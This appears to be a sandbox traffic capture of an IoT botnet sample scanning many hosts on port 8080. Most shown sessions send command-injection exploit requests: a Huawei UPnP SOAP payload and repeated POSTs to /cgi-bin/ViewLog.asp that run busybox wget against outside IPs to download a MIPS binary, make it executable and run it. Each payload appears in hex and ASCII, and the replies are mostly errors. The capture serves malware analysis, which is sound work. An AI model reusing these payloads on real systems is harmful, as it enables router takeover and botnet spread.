75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:58.507950068 CET	236	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
632	192.168.2.13	49384	31.197.131.4	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:58.382560968 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:58.580529928 CET	1257	IN	HTTP/1.1 307 Temporary Redirect Date: Thu, 23 Nov 2023 04:17:58 GMT Content-Type: text/html Content-Length: 152 Connection: close Location: https://192.168.0.14:8080/cgi-bin/ViewLog.asp X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'self'; media-src 'self'; child-src 'self' X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'self'; media-src 'self'; child-src 'self' X-Webkit-CSP: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'self'; media-src 'self'; child-src 'self' Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>307 Temporary Redirect</title></head><body bgcolor="white"><center><h1>307 Temporary Redirect</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
633	192.168.2.13	60868	62.131.183.153	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:58.382610083 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:59.398231983 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
634	192.168.2.13	40340	85.239.40.234	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:58.410444975 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
635	192.168.2.13	40716	31.136.49.105	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:58.570626020 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:59.142215014 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:00.294233084 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:02.662213087 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:07.270196915 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:16.486174107 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
636	192.168.2.13	60902	95.72.195.204	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:58.627831936 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:58.852674007 CET	370	IN	HTTP/1.1 403 Forbidden Server: Web server Date: Thu, 23 Nov 2023 04:17:55 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
637	192.168.2.13	55710	94.121.139.239	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:58.627914906 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
638	192.168.2.13	48042	94.122.196.248	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:59.300904989 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
639	192.168.2.13	55872	94.242.228.76	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:59.323775053 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
640	192.168.2.13	45374	94.131.63.17	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:59.429090023 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:59.534243107 CET	1314	IN	HTTP/1.1 400 Bad Request Server: squid/6.0.0-20220501-re899e0c27 Mime-Version: 1.0 Date: Thu, 23 Nov 2023 04:17:59 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3572 X-Squid-Error: ERR_INVALID_URL 0 Vary: Accept-Language Content-Language: en Cache-Status: ezproxies.com Via: 1.1 ezproxies.com (squid/6.0.0-20220501-re899e0c27) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2022 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, s

Session ID	Source IP	Source Port	Destination IP	Destination Port
641	192.168.2.13	44764	94.122.23.50	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:59.659037113 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
642	192.168.2.13	57802	62.194.153.195	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:59.861829042 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
643	192.168.2.13	60124	95.78.234.207	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:59.889692068 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
